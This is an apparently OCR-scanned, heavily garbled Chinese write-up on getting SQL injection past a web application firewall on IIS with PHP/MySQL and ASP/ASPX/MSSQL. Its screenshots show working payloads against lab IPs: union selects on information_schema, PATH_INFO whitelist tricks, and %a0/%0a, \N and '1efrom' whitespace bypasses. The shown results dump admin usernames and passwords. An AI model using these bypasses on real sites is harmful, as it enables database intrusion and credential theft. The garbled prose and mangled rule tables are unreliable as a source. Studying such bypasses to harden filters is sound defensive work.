ox01 B

DFEISHEXEE , BRIRSZIFWIin2003iRSSEE | Il FEN B L EEIRDEFMRIGIEEEY | 85T ERX |, X
PE—TFZEIISQLENGEEIUIKE R, DEISEIXEENGESRES , 1B, FEFHEIGET/POST/COOKIE ,
HARFERRIEE. MIERERIUIHIAE | 1ISHASP/ASPX/PHP)+(MSSQL/MYSQL) , EEIXINAIERES , FEAIULL
B -

a. BEE b, £48Junion selectagselect fromAdtaiNl

HHET

b [GET] HEAFEE [CODKTE] ¥EAFEE — W] POST HEAEERE

] R
(%) BEIA

S Emg a
e . #andit|= || >e], |- flogin. azpx [paszwerd| —I
'LE BREE #or|= <[ 2], |- Jfposttopic. aspx [title|message]

Fexeckt Fusercpprofile. aspx |bic]
g FligaEg #order#|by |

#select#iﬂ#from#ﬁiie}iecﬂ Cl=1<]>| cdiseur_x? (R1E
DA 4 R Funiond# (#selectd |, Fadmin. php |
. zge{lar;#y_y (|# fmember.phﬁ\|passw01[d| |

q delete £ram #forum. php [subject [mezzaze

@ LB PR #Finzert#|#into# [#values#| (|, | Fadmindadmin article. asthitlelcontent

@ SN as| #upd:iate#|#se*i#|=| cphpmyadmin
) {img|onerror Jinport. php |
(3} HETSE % {zoript’ fsql.phpﬁ
fzeriptl| Jbl_change. php |
cc EhCCErT: alert [ ) Ftbl_replace. php|
. ngvasr_‘rlptl
ﬂ F30akEH <iframe | . dedecmz
expressi or|.|:|
X EE{Re function( Falipay/index. php|
'* document. cookia | Ffmember/ tougao_add phy
Ea ERER snmouzemove = |[# | Ffdedefarticle_edit. php
= Fdedefsys_safe. php|
@;E BrpbaE farticle_add php|bedy|
| Ees | emxmE || ESBU =
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[CEAERT | CookidfTAZET |

#truncated [#table#|

EEIRT ||If¢jt.i¢FE|E$_ CAEGETFIFOSTAICOOKTE) |

BEIX 1 window2003+[IS+php+mysql , BJ{EEEADETE , W FIAZEITRIRY | fok—aKi=EE -

Load URL
split URL

Ce=d

Execute

http://10.9.10.206/3.php?id=1 union select

[] Enable Post data [] Enable Referrer

DE s

[GET] ZEItiZarrt2Ey!
g#&0id WE:T union select

iEE | S | B

KT ZFH— : AR PHPPRIPATH_INFO[EIRR , EERIE , B2 http:/x.x.x.x/3.php?id=1 FNF http://x.x.x.x/3.
php/soocxoxoxooaxxxxxx?id=1 MEBEFFEEHENMBUHINGERT , AIAIhbypass , http://10.9.10.206/3.php/admin.ph

p?id=1 union select 1,2,schema_name from information_schema.SCHEMATA £&Ulid, , GET, POST, COOKIES
B . e&bypass


af://n0
af://n5
http://x.x.x.x/3.php/xxxxxxxxxxxxx?id=1
http://10.9.10.206/3.php/admin.php?id=1

@ Load URL | http://10.9.10.206/3.phpfadmin.php?id=1 union select 1,2 schema_name from information_schema.SCHEMATA
I split URL

»)  Execute

[] Enable Post data [] Enable Referrer

1 admin abc123

1 2 information_schema
12 mysql

1 2 performance _schema
12 test

SELECT * FROM admin WHERE id = 1 union select 1,2,schema_name from information_schema.SCHEMATA

SKIEBZ : FAFH MysqlFe]LIFIBRIZAFHA : %09,%0a,%0b,%0c,%0d,%20,%a0 ; Wik T—T , EX L
FXIMSSQLAY[0X01-Ox201ER#ALIR T |, MESREMYSqIFIRE— 1 %a0 LAFIA , ATLABEZEI%a05select&iR , kiR
B, \NTsad. id=1 union%a0select 1,2,3 from admin

@ Load URL |http://10.9.10.206/3.php?id=1 union%aDselect 1,2,schema_name from information_schema.SCHEMATA
% split URL
» Execute

[] Enable Post data [ ] Enable Referrer

1 admin abc123

1 2 information_schema
1 2 mysql

1 2 performance_schema
1 2 test

SELECT * FROM admin WHERE id = 1 unionielect {12 schema_name]from|information_schema.SCHEMATA

SETEm= ¢ \NFER TERRAH |, afEsedunion selectb R select from ? @085 E—NE#2unionfselect
BIUERNRER | BPARETLIEREunionFIEF TR ? AESESunionfIE , &k , AT\NATLASE
iZunion selecti&Ml , EREA ST select fromBIF&MI, id=\Nunion(select 1,schema_name,\Nfrom
information_schema.schemata)

@ Lload URL | hitp://10.9.10.206/3.php?id=\Nunion(select 1,schema_name\Nfrom information_schema.schemata)

% split URL

b Execute

[] Enable Post data [ | Enable Referrer

1 information_schema
1 mysq]l

1 performance_schema
1 test

SELECT * FROM admin WHERE id = \Nunion(select 1,schema_name\Nfrom information_schema.schemata)

0X03 1IS+ASP/ASPX+MSSQL

FEEENS+ASP/ASPX+MSSQLINE , BEE—E , RARIESSHIEEFMELITER | HESKKDEI=EE -


af://n14

@& Load URL |http://192.168.125.130/1.asp?id=1 and 1=1
1 split URL

')  Execute

[] Enable Post data [] Enable Referrer

DR f=#isn

[GET] Z 1238928
#=:id mE:1 and 1=1

E[E | SEipmE | BT

JIEEH— : QREASP . X, AR , MEDBRLHTHIREFRHEAFRBRAEA (/1.asp/x) , #
[T /admin.php/../1.asp?id=1 and 1=1 }=&; /1.asp?b=admin.php&id=1 and 1=1 =& , BJDE
SRBIENHRIE | AFARRONURLFERBRIBABRT, . . ASPX : 5PHPZEII /1.aspx/admin.php?id=1
union select 1,'2' TABLE_NAME from INFORMATION_SCHEMATABLES ®] 5§ Ihbypass

@ Load URL |httpy//192.168.125.130/1.aspx/admin.php?id=1 union select 1,2 TABLE_ NAME from INFORMATION_SCHEMA.TABLES

§ split URL

b Execute

[] Enable Post data [ ] Enable Referrer

PTEaD:
select * from admin where id=1 union select 1,'2', TABLE NAME from INFORMATION SCHEMA.TABLES
SERA

id username | password

112 admin

112 sysconstraints
1|2 syssegments
1 |aaa 123asd

SIZBT  FEFF Mssqla] AR BRIZBZF/E -
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 [0x01-
0x20] 2 EBEHHALIE Y |, 28 EImysql %a0RTiEM < &R A B LARIAB—T? ASP+MSSQL: R32#F%a0 , BREF. .« »
ASPX+MSSQL: %a0+%0afts , T pkIh5adunion selectB94&M id=1 union%a0%0aselect 1,'2 TABLE_NAME
%a0from INFORMATION_SCHEMA.TABLES

@ Load URL | http://192.168.125.130/1.aspx
% Split URL ?id=1 union%a0%0aselect 1,'2" TABLE_NAME %a0from INFORMATIOM_SCHEMA.TABLES

b Execute

[] Enable Post data [ Enable Referrer

HUTIED:
select * from admin where id=1 union select 1,’2', TABLE_ NAME from INFORMATION _SCHEMA.TABLES
S8

id username password

112 admin

112 sysconstraints
112 syssegments
1 |aaa 123asd




STEE=  1EER

MSSQLETF &SRR , XIBHESHIEEIRSE , fromBi—{ER~AIAEFRE | XA BER 1efrom&gTselect from,
REHEEFX , 518K , tHASPSASPX—#£ , AJbypass , id=1eunion select '1', TABLE_NAME, 1efrom
INFORMATION_SCHEMA.TABLES

&l Load URL http:,-’,-"‘|92.168.‘|25.130}1.aspx?id=1 eunion select "1 '_.TABLE_NAME.‘Ie{rcm INFORMATION_SCHEMA.TABLES

B split URL

b Execute

[ Enable Past data [] Enable Referrer
WTIES:
select username,password,id from admin where id=1eunion select '1", TABLE_NAME, Tefrom INFORMATION_SCHEMA.TABLES
SEA:

username password id

1 admin 1

1 sysconstraints | 1

1 syssegments |1

aaa 123asd 1
0X04 END
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